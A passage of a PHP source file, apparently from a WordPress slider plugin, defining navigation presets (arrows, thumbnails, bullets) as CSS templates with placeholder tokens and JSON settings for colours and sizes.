##arrow-color##;\n\tdisplay:block;\n\tline-height: ##back-size##px;\n\ttext-align: center;\n}\n.persephone.tparrows.tp-leftarrow:before {\n\tcontent: '##left-arrow##';\n}\n.persephone.tparrows.tp-rightarrow:before {\n\tcontent: '##right-arrow##\n';\n}\n\n", 'markup' => "", 'settings' => '{"dim":{"width":160,"height":160},"placeholders":{"back-color":{"title":"Background","type":"color","data":"rgba(201,201,201,0.75)"},"back-size":{"title":"Size","type":"custom","data":"40"},"arrow-color":{"title":"Arrow-Color","type":"color","data":"#ffffff"},"arrow-size":{"title":"Arrow-Size","type":"custom","data":"15"},"back-hover":{"title":"Hover-Background","type":"color","data":"#000000"},"border-rgba":{"title":"Border","type":"color","data":"#ffffff"},"left-arrow":{"title":"Left-Arrow","type":"icon","data":"\\\\e824"},"right-arrow":{"title":"Right-Arrow","type":"icon","data":"\\\\e825"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 1009, 'handle' => 'erinyen', 'type' => 'arrows', 'name' => 'Erinyen', 'css' => ".erinyen.tparrows {\n cursor:pointer;\n background:##back-color##;\n min-width:##back-size##px;\n min-height:##back-size##px;\n position:absolute;\n display:block;\n z-index:1000;\n border-radius:50%; \n}\n\n.erinyen.tparrows:before {\n font-family: 'revicons';\n font-size:##arrow-size##px;\n color:##arrow-color##;\n display:block;\n line-height:##back-size##px;\n text-align: center; \n z-index:2;\n position:relative;\n}\n.erinyen.tparrows.tp-leftarrow:before {\n content: '##leftarrow##';\n}\n.erinyen.tparrows.tp-rightarrow:before {\n content: '##right-arrow##';\n}\n\n.erinyen .tp-title-wrap { \n position:absolute;\n z-index:1;\n display:inline-block;\n background:rgba(0,0,0,0.5);\n min-height:##back-size##px;\n line-height:##back-size##px;\n top:0px;\n margin-left:0px;\n border-radius:##title-wrap-border-radius##px;\n overflow:hidden; \n transition: opacity 0.3s;\n -webkit-transition:opacity 0.3s;\n -moz-transition:opacity 0.3s;\n -webkit-transform: scale(0);\n -moz-transform: scale(0);\n transform: scale(0); \n visibility:hidden;\n opacity:0;\n}\n\n.erinyen.tparrows.rs-touchhover .tp-title-wrap{\n -webkit-transform: scale(1);\n -moz-transform: scale(1);\n transform: scale(1);\n opacity:1;\n visibility:visible;\n}\n \n .erinyen.tp-rightarrow .tp-title-wrap { \n right:0px;\n margin-right:0px;margin-left:0px;\n -webkit-transform-origin:100% 50%;\n border-radius:##title-wrap-border-radius##px;\n padding-right:20px;\n padding-left:10px;\n }\n\n\n.erinyen.tp-leftarrow .tp-title-wrap { \n padding-left:20px;\n padding-right:10px;\n}\n\n.erinyen .tp-arr-titleholder {\n letter-spacing: ##letter-spacing##px;\n position:relative;\n -webkit-transition: -webkit-transform 0.3s;\n transition: transform 0.3s;\n transform:translatex(200px); \n text-transform:uppercase;\n color:##arrow-color##;\n font-weight:600;\n font-size:##font-size##px;\n line-height:##back-size##px;\n white-space:nowrap;\n padding:0px 20px;\n margin-left:11px;\n opacity:0; \n}\n\n.erinyen .tp-arr-imgholder {\n width:100%;\n height:100%;\n position:absolute;\n top:0px;\n left:0px;\n background-position:center center;\n background-size:cover;\n }\n .erinyen .tp-arr-img-over {\n width:100%;\n height:100%;\n position:absolute;\n top:0px;\n left:0px;\n background:##overlay-rgba##;\n }\n.erinyen.tp-rightarrow .tp-arr-titleholder {\n transform:translatex(-200px); \n margin-left:0px; margin-right:11px;\n }\n\n.erinyen.tparrows.rs-touchhover .tp-arr-titleholder {\n transform:translatex(0px);\n -webkit-transform:translatex(0px);\n transition-delay: 0.1s;\n opacity:1;\n}", 'markup' => "
            \n \t
            \n
            \n\t{{title}}\n
            \n\n", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"back-color":{"title":"BG-RGBA","type":"color","data":"rgba(0,0,0,0.5)"},"arrow-color":{"title":"Arrow-Color","type":"color","data":"#ffffff"},"back-size":{"title":"BG-Size","type":"custom","data":"70"},"arrow-size":{"title":"Arrow-Size","type":"custom","data":"20"},"font-size":{"title":"Title-Font-Size","type":"custom","data":"13"},"title-wrap-border-radius":{"title":"Title-Wrap-Border-Radius","type":"custom","data":"35"},"leftarrow":{"title":"Left-Arrow","type":"icon","data":"\\\\e824"},"right-arrow":{"title":"Right-Arrow","type":"icon","data":"\\\\e825"},"letter-spacing":{"title":"Letter-Spacing","type":"custom","data":"3"},"overlay-rgba":{"title":"Overlay","type":"color","data":"rgba(0,0,0,0.51)"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 1010, 'handle' => 'zeus', 'type' => 'arrows', 'name' => 'Zeus', 'css' => ".zeus.tparrows {\n cursor:pointer;\n min-width:##bg-size##px;\n min-height:##bg-size##px;\n position:absolute;\n display:block;\n z-index:1000;\n border-radius:50%; \n overflow:hidden;\n background:##bg-color##;\n}\n\n.zeus.tparrows:before {\n font-family: 'revicons';\n font-size:##arrow-size##px;\n color:##arrow-color##;\n display:block;\n line-height: ##bg-size##px;\n text-align: center; \n z-index:2;\n position:relative;\n}\n.zeus.tparrows.tp-leftarrow:before {\n content: '##left-arrow##';\n}\n.zeus.tparrows.tp-rightarrow:before {\n content: '##right-arrow##';\n}\n\n.zeus .tp-title-wrap {\n background:rgba(0,0,0,0.5);\n width:100%;\n height:100%;\n top:0px;\n left:0px;\n position:absolute;\n opacity:0;\n transform:scale(0);\n -webkit-transform:scale(0);\n transition: all 0.3s;\n -webkit-transition:all 0.3s;\n -moz-transition:all 0.3s;\n border-radius:50%;\n }\n.zeus .tp-arr-imgholder {\n width:100%;\n height:100%;\n position:absolute;\n top:0px;\n left:0px;\n background-position:center center;\n background-size:cover;\n border-radius:50%;\n transform:translatex(-100%);\n -webkit-transform:translatex(-100%);\n transition: all 0.3s;\n -webkit-transition:all 0.3s;\n -moz-transition:all 0.3s;\n\n }\n.zeus.tp-rightarrow .tp-arr-imgholder {\n transform:translatex(100%);\n -webkit-transform:translatex(100%);\n }\n.zeus.tparrows.rs-touchhover .tp-arr-imgholder {\n transform:translatex(0);\n -webkit-transform:translatex(0);\n opacity:1;\n}\n \n.zeus.tparrows.rs-touchhover .tp-title-wrap {\n transform:scale(1);\n -webkit-transform:scale(1);\n opacity:1;\n}\n ", 'markup' => "
            \n \t
            \n
            \n", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"bg-size":{"title":"BG-Size","type":"custom","data":"70"},"bg-color":{"title":"Background","type":"color","data":"rgba(0,0,0,0.1)"},"arrow-color":{"title":"Arrow-Color","type":"color","data":"#ffffff"},"arrow-size":{"title":"Arrow-Size","type":"custom","data":"20"},"left-arrow":{"title":"Left-Arrow","type":"icon","data":"\\\\e824"},"right-arrow":{"title":"Right-Arrow","type":"icon","data":"\\\\e825"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 1011, 'handle' => 'metis', 'type' => 'arrows', 'name' => 'Metis', 'css' => ".metis.tparrows {\n background:##bg-color##;\n padding:##padding##px;\n transition:all 0.3s;\n -webkit-transition:all 0.3s;\n width:##size##px;\n height:##size##px;\n box-sizing:border-box;\n }\n \n .metis.tparrows.rs-touchhover {\n background:##bg-hover-color##;\n }\n \n .metis.tparrows:before {\n color:##arrow-color##; \n transition:all 0.3s;\n -webkit-transition:all 0.3s;\n }\n \n .metis.tparrows.rs-touchhover:before {\n transform:scale(1.5);\n }\n ", 'markup' => "", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"bg-color":{"title":"Background","type":"color","data":"#ffffff"},"size":{"title":"Size","type":"custom","data":"60"},"padding":{"title":"Padding","type":"custom","data":"10"},"arrow-color":{"title":"Arrow-Color","type":"color","data":"#000000"},"bg-hover-color":{"title":"Hover-Background","type":"color","data":"rgba(255,255,255,0.75)"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 1012, 'handle' => 'dione', 'type' => 'arrows', 'name' => 'Dione', 'css' => ".dione.tparrows {\n color:#000;\n height:100%;\n width:##width##px;\n background:transparent;\n background:##bg-color##;\n line-height:100%;\n transition:all 0.3s;\n-webkit-transition:all 0.3s;\n}\n\n.dione.tparrows.rs-touchhover {\n background:##bg-color-hover##;\n }\n.dione .tp-arr-imgwrapper {\n width:##width##px;\n left:0px;\n position:absolute;\n height:100%;\n top:0px;\n overflow:hidden;\n }\n.dione.tp-rightarrow .tp-arr-imgwrapper {\nleft:auto;\nright:0px;\n}\n\n.dione .tp-arr-imgholder {\nbackground-position:center center;\nbackground-size:cover;\nwidth:##width##px;\nheight:100%;\ntop:0px;\nvisibility:hidden;\ntransform:translatex(-50px);\n-webkit-transform:translatex(-50px);\ntransition:all 0.3s;\n-webkit-transition:all 0.3s;\nopacity:0;\nleft:0px;\n}\n\n.dione.tparrows.tp-rightarrow .tp-arr-imgholder {\n right:0px;\n left:auto;\n transform:translatex(50px);\n -webkit-transform:translatex(50px);\n}\n\n.dione.tparrows:before {\ncolor:##arrow-color##;\nposition:absolute;\nline-height:##arrow-size##px;\nmargin-left:-22px;\ntop:50%;\nleft:50%;\nfont-size:30px;\nmargin-top:-15px;\ntransition:all 0.3s;\n-webkit-transition:all 0.3s;\n}\n\n.dione.tparrows.tp-rightarrow:before {\nmargin-left:6px;\n}\n\n.dione.tparrows.rs-touchhover:before {\n transform:translatex(-20px);\n-webkit-transform:translatex(-20px);\nopacity:0;\n}\n\n.dione.tparrows.tp-rightarrow.rs-touchhover:before {\n transform:translatex(20px);\n-webkit-transform:translatex(20px);\n}\n\n.dione.tparrows.rs-touchhover .tp-arr-imgholder {\n transform:translatex(0px);\n-webkit-transform:translatex(0px);\nopacity:1;\nvisibility:visible;\n}\n\n", 'markup' => "
            \n
            \n
            ", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"arrow-color":{"title":"Arrow-Color","type":"color","data":"#ffffff"},"arrow-size":{"title":"Arrow-Size","type":"custom","data":"30"},"bg-color":{"title":"BG-Color","type":"color","data":"rgba(0,0,0,0)"},"bg-color-hover":{"title":"BG-Color-Hover","type":"color","data":"rgba(0,0,0,0.45)"},"width":{"title":"Width","type":"custom","data":"90"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 1013, 'handle' => 'uranus', 'type' => 'arrows', 'name' => 'Uranus', 'css' => ".uranus.tparrows {\n width:##width##px;\n height:##height##px;\n background:##background##;\n }\n .uranus.tparrows:before {\n width:##width##px;\n height:##height##px;\n line-height:##height##px;\n font-size:##font-size##px;\n transition:all 0.3s;\n-webkit-transition:all 0.3s;\n }\n \n .uranus.tparrows.rs-touchhover:before {\n opacity:0.75;\n }", 'markup' => "", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"height":{"title":"Height","type":"custom","data":"50"},"font-size":{"title":"Font-Size","type":"custom","data":"40"},"background":{"title":"BG-Color","type":"color","data":"rgba(255,255,255,0)"},"width":{"title":"Width","type":"custom","data":"50"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 2000, 'handle' => 'hesperiden', 'type' => 'thumbs', 'name' => 'Hesperiden', 'css' => ".hesperiden .tp-thumb {\n opacity:1;\n -webkit-perspective: 600px;\n perspective: 600px;\n}\n.hesperiden .tp-thumb .tp-thumb-title {\n font-size:##title-font-size##px;\n position:absolute;\n margin-top:-10px;\n color:##title-color##;\n display:block;\n z-index:1000;\n background-color:##title-bg##;\n padding:5px 10px; \n bottom:0px;\n left:0px;\n width:100%;\n box-sizing:border-box;\n text-align:center;\n overflow:hidden;\n white-space:nowrap;\n transition:all 0.3s;\n -webkit-transition:all 0.3s;\n transform:rotatex(90deg) translatez(0.001px);\n transform-origin:50% 100%;\n -webkit-transform:rotatex(90deg) translatez(0.001px);\n -webkit-transform-origin:50% 100%;\n opacity:0;\n }\n.hesperiden .tp-thumb.rs-touchhover .tp-thumb-title {\n \t transform:rotatex(0deg);\n -webkit-transform:rotatex(0deg);\n opacity:1;\n}", 'markup' => "\n{{title}}", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"title-bg":{"title":"Title-BG-Color","type":"color","data":"rgba(0,0,0,0.85)"},"title-color":{"title":"Title-Font-Color","type":"color","data":"#ffffff"},"title-font-size":{"title":"Title-Font-Size","type":"custom","data":"12"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 2001, 'handle' => 'gyges', 'type' => 'thumbs', 'name' => 'Gyges', 'css' => ".gyges .tp-thumb { \n opacity:1\n }\n.gyges .tp-thumb-img-wrap {\n padding:3px;\n background-color:##bg##;\n display:inline-block;\n\n width:100%;\n height:100%;\n position:relative;\n margin:0px;\n box-sizing:border-box;\n transition:all 0.3s;\n -webkit-transition:all 0.3s;\n}\n.gyges .tp-thumb-image {\n padding:3px; \n display:block;\n box-sizing:border-box;\n position:relative;\n -webkit-box-shadow: inset 5px 5px 10px 0px ##bg##;\n -moz-box-shadow: inset 5px 5px 10px 0px ##bg##;\n box-shadow: inset 5px 5px 10px 0px ##bg##;\n } \n\n.gyges .tp-thumb.rs-touchhover .tp-thumb-img-wrap,\n .gyges .tp-thumb.selected .tp-thumb-img-wrap {\n background: -moz-linear-gradient(top, ##hovercolor## 0%, ##hbgb## 100%);\nbackground: -webkit-gradient(left top, left bottom, color-stop(0%, ##hovercolor##, color-stop(100%, ##hbgb##)));\nbackground: -webkit-linear-gradient(top, ##hovercolor## 0%, ##hbgb## 100%);\nbackground: -o-linear-gradient(top, ##hovercolor## 0%, ##hbgb## 100%);\nbackground: -ms-linear-gradient(top, ##hovercolor## 0%, ##hbgb## 100%);\nbackground: linear-gradient(to bottom, ##hovercolor## 0%, ##hbgb## 100%);\n\n}\n\n", 'markup' => "\n \n\n", 'settings' => '{"dim":{"width":"70","height":"70"},"placeholders":{"bg":{"title":"Background","type":"color","data":"rgba(0,0,0,0.25)"},"titlebg":{"title":"Title-Background","type":"color","data":"rgba(255,255,255,0.81)"},"hovercolor":{"title":"Hover-Top","type":"color","data":"#ffffff"},"hbgb":{"title":"Hover-Bottom","type":"color","data":"#777777"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 2002, 'handle' => 'hades', 'type' => 'thumbs', 'name' => 'Hades', 'css' => ".hades .tp-thumb { \n opacity:1\n }\n.hades .tp-thumb-img-wrap {\n border-radius:##radius##;\n padding:##border##px;\n display:inline-block;\n background-color:##bg##;\n width:100%;\n height:100%;\n position:relative;\n margin:0px;\n box-sizing:border-box;\n transition:all 0.3s;\n -webkit-transition:all 0.3s;\n}\n.hades .tp-thumb-image {\n padding:##border##px; \n border-radius:##radius##;\n display:block;\n box-sizing:border-box;\n position:relative;\n -webkit-box-shadow: inset 5px 5px 10px 0px rgba(0,0,0,0.25);\n -moz-box-shadow: inset 5px 5px 10px 0px rgba(0,0,0,0.25);\n box-shadow: inset 5px 5px 10px 0px rgba(0,0,0,0.25);\n } \n\n\n.hades .tp-thumb.rs-touchhover .tp-thumb-img-wrap,\n.hades .tp-thumb.selected .tp-thumb-img-wrap {\n \n\n background: -moz-linear-gradient(top, ##ht## 0%, ##hb## 100%);\n background: -webkit-gradient(left top, left bottom, color-stop(0%, ##ht##, color-stop(100%, ##hb##)));\n background: -webkit-linear-gradient(top, ##ht## 0%, ##hb## 100%);\n background: -o-linear-gradient(top, ##ht## 0%, ##hb## 100%);\n background: -ms-linear-gradient(top, ##ht## 0%, ##hb## 100%);\n background: linear-gradient(to bottom, ##ht## 0%, ##hb## 100%);\n }\n\n", 'markup' => "\n \n\n", 'settings' => '{"dim":{"width":"70","height":"70"},"placeholders":{"radius":{"title":"Radius","type":"custom","data":"50%"},"border":{"title":"Border","type":"custom","data":"3"},"bg":{"title":"Background","type":"color","data":"rgba(0,0,0,0.25)"},"ht":{"title":"Hover-Top","type":"color","data":"#ffffff"},"hb":{"title":"Hover-Bottom","type":"color","data":"#878787"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 2009, 'handle' => 'erinyen', 'type' => 'thumbs', 'name' => 'Erinyen', 'css' => ".erinyen .tp-thumb {\nopacity:1\n}\n\n.erinyen .tp-thumb-over {\n background:##overlay-color##;\n width:100%;\n height:100%;\n position:absolute;\n top:0px;\n left:0px;\n z-index:1;\n -webkit-transition:all 0.3s;\n transition:all 0.3s;\n}\n\n.erinyen .tp-thumb-more:before {\n font-family: 'revicons';\n font-size:##arrow-size##px;\n color:##arrow-color##;\n display:block;\n line-height: ##lineheight##px;\n text-align: left; \n z-index:2;\n position:absolute;\n top:20px;\n right:20px;\n z-index:2;\n}\n.erinyen .tp-thumb-more:before {\n content: '##thumb-more##';\n}\n\n.erinyen .tp-thumb-title {\n font-family:'##title-font##';\n letter-spacing:1px;\n font-size:##title-size##px;\n color:##title-color##;\n display:block;\n line-height: ##lineheight##px;\n text-align: left; \n z-index:2;\n position:absolute;\n top:0px;\n left:0px;\n z-index:2;\n padding:##padding##;\n width:100%;\n height:100%;\n box-sizing:border-box;\n transition:all 0.3s;\n -webkit-transition:all 0.3s;\n font-weight:500;\n}\n\n.erinyen .tp-thumb.selected .tp-thumb-more:before,\n.erinyen .tp-thumb.rs-touchhover .tp-thumb-more:before {\n color:##arrow-hover##;\n}\n\n.erinyen .tp-thumb.selected .tp-thumb-over,\n.erinyen .tp-thumb.rs-touchhover .tp-thumb-over {\n background:##back-hover##;\n}\n.erinyen .tp-thumb.selected .tp-thumb-title,\n.erinyen .tp-thumb.rs-touchhover .tp-thumb-title {\n color:##title-hover##;\n\n}\n", 'markup' => "\n\n{{title}}\n", 'settings' => '{"dim":{"width":"200","height":"130"},"placeholders":{"overlay-color":{"title":"Overlay","type":"color","data":"rgba(0,0,0,0.25)"},"arrow-color":{"title":"Arrow-Color","type":"color","data":"#aaaaaa"},"arrow-size":{"title":"Arrow-Size","type":"custom","data":"12"},"title-color":{"title":"Title-Color","type":"color","data":"#ffffff"},"title-size":{"title":"Title-Size","type":"custom","data":"12"},"arrow-hover":{"title":"Hover-Arrow","type":"color","data":"#aaaaaa"},"back-hover":{"title":"Hover-Background","type":"color","data":"#ffffff"},"thumb-more":{"title":"Thumb-Icon","type":"icon","data":"\\\\e825"},"title-hover":{"title":"Hover-Title","type":"color","data":"#000000"},"title-font":{"title":"Title-Font-Family","type":"font-family","data":"Raleway"},"padding":{"title":"Padding","type":"custom","data":"20px 35px 20px 20px"},"lineheight":{"title":"Line-Height","type":"custom","data":"15"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 2010, 'handle' => 'zeus', 'type' => 'thumbs', 'name' => 'Zeus', 'css' => ".zeus .tp-thumb {\nopacity:1\n}\n\n.zeus .tp-thumb-over {\n background:##back-color##;\n width:100%;\n height:100%;\n position:absolute;\n top:0px;\n left:0px;\n z-index:1;\n -webkit-transition:all 0.3s;\n transition:all 0.3s;\n}\n\n.zeus .tp-thumb-more:before {\n font-family: 'revicons';\n font-size:##font-size##px;\n color:##title-color##;\n display:block;\n line-height: ##title-line-height##px;\n text-align: left; \n z-index:2;\n position:absolute;\n top:20px;\n right:20px;\n z-index:2;\n}\n.zeus .tp-thumb-more:before {\n content: '##thumb-more##';\n}\n\n.zeus .tp-thumb-title {\n font-family:'##font-family##';\n letter-spacing:1px;\n font-size: ##font-size##px;\n color:##title-color##;\n display:block;\n line-height: ##title-line-height##px;\n text-align: left; \n z-index:2;\n position:absolute;\n top:0px;\n left:0px;\n z-index:2;\n padding:20px 35px 20px 20px;\n width:100%;\n height:100%;\n box-sizing:border-box;\n transition:all 0.3s;\n -webkit-transition:all 0.3s;\n font-weight:500;\n}\n\n.zeus .tp-thumb.selected .tp-thumb-more:before,\n.zeus .tp-thumb.rs-touchhover .tp-thumb-more:before {\n color:##title-color##;\n\n}\n\n.zeus .tp-thumb.selected .tp-thumb-over,\n.zeus .tp-thumb.rs-touchhover .tp-thumb-over {\n background:##back-hover##;\n}\n.zeus .tp-thumb.selected .tp-thumb-title,\n.zeus .tp-thumb.rs-touchhover .tp-thumb-title {\n color:##title-color##;\n\n}\n", 'markup' => "\n\n{{title}}\n", 'settings' => '{"dim":{"width":"400","height":"130"},"placeholders":{"back-hover":{"title":"Overlay-Hover-RGBA","type":"color","data":"rgba(0,0,0,0.75)"},"title-color":{"title":"Title-Color","type":"color","data":"#ffffff"},"font-size":{"title":"Font-Size","type":"custom","data":"12"},"font-family":{"title":"Font-Family","type":"font-family","data":"Raleway"},"back-color":{"title":"Overlay","type":"color","data":"rgba(0,0,0,0.25)"},"title-line-height":{"title":"Title-Line-Height","type":"custom","data":"14"},"thumb-more":{"title":"Thumb-Icon","type":"icon","data":"\\\\e825"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3000, 'handle' => 'hesperiden', 'type' => 'bullets', 'name' => 'Hesperiden', 'css' => ".hesperiden.tp-bullets {\n}\n.hesperiden.tp-bullets:before {\n\tcontent:' ';\n\tposition:absolute;\n\twidth:100%;\n\theight:100%;\n\tbackground:transparent;\n\tpadding:10px;\n\tmargin-left:-10px;margin-top:-10px;\n\tbox-sizing:content-box;\n border-radius:8px;\n \n}\n.hesperiden .tp-bullet {\n\twidth:##bullet-size##px;\n\theight:##bullet-size##px;\n\tposition:absolute;\n\tbackground: ##bullet-bg-top##; /* old browsers */\n background: -moz-linear-gradient(top, ##bullet-bg-top## 0%, ##bullet-bg-bottom## 100%); /* ff3.6+ */\n background: -webkit-linear-gradient(top, ##bullet-bg-top## 0%,##bullet-bg-bottom## 100%); /* chrome10+,safari5.1+ */\n background: -o-linear-gradient(top, ##bullet-bg-top## 0%,##bullet-bg-bottom## 100%); /* opera 11.10+ */\n background: -ms-linear-gradient(top, ##bullet-bg-top## 0%,##bullet-bg-bottom## 100%); /* ie10+ */\n background: linear-gradient(to bottom, ##bullet-bg-top## 0%,##bullet-bg-bottom## 100%); /* w3c */\n filter: progid:dximagetransform.microsoft.gradient( \n startcolorstr='##bullet-bg-top##', endcolorstr='##bullet-bg-bottom##',gradienttype=0 ); /* ie6-9 */\n\tborder:##border-size##px solid ##border-color##;\n\tborder-radius:50%;\n\tcursor: pointer;\n\tbox-sizing:content-box;\n}\n.hesperiden .tp-bullet.rs-touchhover,\n.hesperiden .tp-bullet.selected {\n\tbackground:##hover-bullet-bg##;\n}\n.hesperiden .tp-bullet-image {\n}\n.hesperiden .tp-bullet-title {\n}\n", 'markup' => "", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"bullet-size":{"title":"Bullet-Size","type":"custom","data":"12"},"bullet-bg-top":{"title":"Bullet-BG-Top","type":"color","data":"#999999"},"bullet-bg-bottom":{"title":"Bullet-BG-Bottom","type":"color","data":"#e1e1e1"},"border-color":{"title":"Border-Color","type":"color","data":"#e5e5e5"},"border-size":{"title":"Border-Size","type":"custom","data":"3"},"hover-bullet-bg":{"title":"Hover-Bullet-BG","type":"color","data":"#666666"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3001, 'handle' => 'gyges', 'type' => 'bullets', 'name' => 'Gyges', 'css' => ".gyges.tp-bullets {\n}\n.gyges.tp-bullets:before {\n\tcontent:' ';\n\tposition:absolute;\n\twidth:100%;\n\theight:100%;\n background: -moz-linear-gradient(top, ##bgtop## 0%, ##bgbottom## 100%); \n background: -webkit-linear-gradient(top, ##bgtop## 0%,##bgbottom## 100%); \n background: -o-linear-gradient(top, ##bgtop## 0%,##bgbottom## 100%); \n background: -ms-linear-gradient(top, ##bgtop## 0%,##bgbottom## 100%); \n background: linear-gradient(to bottom, ##bgtop## 0%, ##bgbottom## 100%); \n filter: progid:dximagetransform.microsoft.gradient( startcolorstr='##bgtop##', \n endcolorstr='##bgbottom##',gradienttype=0 ); \n\tpadding:10px;\n\tmargin-left:-10px;margin-top:-10px;\n\tbox-sizing:content-box;\n border-radius:10px;\n}\n.gyges .tp-bullet {\n\twidth:12px;\n\theight:12px;\n\tposition:absolute;\n\tbackground:##bulletbg##;\n\tborder:3px solid ##bordercolor##;\n\tborder-radius:50%;\n\tcursor: pointer;\n\tbox-sizing:content-box;\n}\n.gyges .tp-bullet.rs-touchhover,\n.gyges .tp-bullet.selected {\n\n background: -moz-linear-gradient(top, ##hbgtop## 0%, ##hbgbottom## 100%); /* ff3.6+ */\n background: -webkit-linear-gradient(top, ##hbgtop## 0%,##hbgbottom## 100%); /* chrome10+,safari5.1+ */\n background: -o-linear-gradient(top, ##hbgtop## 0%,##hbgbottom## 100%); /* opera 11.10+ */\n background: -ms-linear-gradient(top, ##hbgtop## 0%,##hbgbottom## 100%); /* ie10+ */\n background: linear-gradient(to bottom, ##hbgtop## 0%,##hbgbottom## 100%); /* w3c */\n filter: progid:dximagetransform.microsoft.gradient( startcolorstr='##hbgtop##', \n endcolorstr='##hbgbottom##',gradienttype=0 ); /* ie6-9 */\n\n}\n.gyges .tp-bullet-image {\n}\n.gyges .tp-bullet-title {\n}\n\t", 'markup' => "", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"bgtop":{"title":"BG-Top","type":"color","data":"#777777"},"bgbottom":{"title":"BG-Bottom","type":"color","data":"#666666"},"bordercolor":{"title":"Border","type":"color","data":"#444444"},"bulletbg":{"title":"Bullet-BG","type":"color","data":"#333333"},"hbgtop":{"title":"Hover-BG-Top","type":"color","data":"#ffffff"},"hbgbottom":{"title":"Hover-BG-Bottom","type":"color","data":"#e0e0e0"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3002, 'handle' => 'hades', 'type' => 'bullets', 'name' => 'Hades', 'css' => ".hades.tp-bullets {\n}\n.hades.tp-bullets:before {\n\tcontent:' ';\n\tposition:absolute;\n\twidth:100%;\n\theight:100%;\n\tbackground:transparent;\n\tpadding:10px;\n\tmargin-left:-10px;margin-top:-10px;\n\tbox-sizing:content-box;\n}\n.hades .tp-bullet {\n\twidth:##innersize##px;\n\theight:##innersize##px;\n\tposition:absolute;\n\tbackground:##colorinner##;\n\tcursor: pointer;\n border:##outersize##px solid ##outercolor##;\n\tbox-sizing:content-box;\n box-shadow:0px 0px 3px 1px rgba(0,0,0,0.2);\n -webkit-perspective:400;\n perspective:400;\n -webkit-transform:translatez(0.01px);\n transform:translatez(0.01px);\n}\n.hades .tp-bullet.rs-touchhover,\n.hades .tp-bullet.selected {\n\tbackground:##innerhover##;\n border-color:##outerhover##;\n}\n\n.hades .tp-bullet-image {\n position:absolute;\n top:##voffset##px; \n left:##hoffset##;\n width:##width##px;\n height:##height##px;\n background-position:center center;\n background-size:cover;\n visibility:hidden;\n opacity:0;\n transition:all 0.3s;\n -webkit-transform-style:flat;\n transform-style:flat;\n perspective:600;\n -webkit-perspective:600;\n transform: rotatex(-90deg) translatex(-50%);\n -webkit-transform: rotatex(-90deg) translate(-50%);\n box-shadow:0px 0px 3px 1px rgba(0,0,0,0.2);\n transform-origin:50% 100%;\n -webkit-transform-origin:50% 100%;\n \n \n}\n.hades .tp-bullet.rs-touchhover .tp-bullet-image {\n display:block;\n opacity:1;\n transform: rotatex(0deg) translatex(-50%);\n -webkit-transform: rotatex(0deg) translatex(-50%);\n visibility:visible;\n }\n.hades .tp-bullet-title {\n}\n", 'markup' => "", 'settings' => '{"dim":{"width":"160","height":"160"},"placeholders":{"innersize":{"title":"Size-Inner","type":"custom","data":"3"},"colorinner":{"title":"Color-Inner","type":"color","data":"#7f7f7f"},"outersize":{"title":"Size-Outer","type":"custom","data":"5"},"outercolor":{"title":"Color-Outer","type":"color","data":"#ffffff"},"outerhover":{"title":"Hover-Outer","type":"color","data":"#ffffff"},"innerhover":{"title":"Hover-Inner","type":"color","data":"#565656"},"width":{"title":"Image-Width","type":"custom","data":"120"},"height":{"title":"Image-Height","type":"custom","data":"60"},"hoffset":{"title":"Horizontal-Offset","type":"custom","data":"0"},"voffset":{"title":"Vertical-Offset","type":"custom","data":"-80"}},"presets":{},"version":"6.0.0"}', ); $navigations[] = array( 'id' => 3003, 'handle' => 'ares', 'type' => 'bullets', 'name' => 'Ares', 'css' => ".ares.tp-bullets {\n}\n.ares.tp-bullets:before {\n\tcontent:' ';\n\tposition:absolute;\n\twidth:100%;\n\theight:100%;\n\tbackground:transparent;\n\tpadding:10px;\n\tmargin-left:-10px;margin-top:-10px;\n\tbox-sizing:content-box;\n}\n.ares .tp-bullet {\n\twidth:##bullet-size##px;\n\theight:##bullet-size##px;\n\tposition:absolute;\n\tbackground:##bullet-bg-color##;\n\tborder-radius:50%;\n\tcursor: pointer;\n\tbox-sizing:content-box;\n}\n.ares .tp-bullet.rs-touchhover,\n.ares .tp-bullet.selected {\n\tbackground:##hover-bullet-bg-color##;\n}\n.ares .tp-bullet-title {\n position:absolute;\n color:##title-color##;\n font-size:##title-font-size##px;\n padding:0px 10px;\n font-weight:600;\n right:27px;\n top:-4px; \n background:##title-bg-color##;\n visibility:hidden;\n transform:translatex(-20px);\n -webkit-transform:translatex(-20px);\n transition:transform 0.3s;\n -webkit-transition:transform 0.3s;\n line-height:20px;\n white-space:nowrap;\n} \n\n.ares .tp-bullet-title:after {\n width: 0px;\n\theight: 0px;\n\tborder-style: solid;\n\tborder-width: 10px 0 10px 10px;\n\tborder-color: transparent transparent transparent ##title-bg-color##;\n\tcontent:' ';\n position:absolute;\n right:-10px;\n\ttop:0px;\n}\n \n.ares .tp-bullet.rs-touchhover .tp-bullet-title{\n visibility:visible;\n transform:translatex(0px);\n -webkit-transform:translatex(0px);\n}\n\n.ares .tp-bullet.selected.rs-touchhover .tp-bullet-title {\n background:##hover-bullet-bg-color##;}\n.ares .tp-bullet.selected.rs-touchhover .tp-bullet-title:after {\n border-color:transparent transparent transparent ##hover-bullet-bg-color##;\n}\n.ares.tp-bullets.rs-touchhover .tp-bullet-title {\n visibility:hidden;\n \n}\n.ares.tp-bullets.rs-touchhover .tp-bullet.rs-touchhover .tp-bullet-title {\n visibility:visible;\n 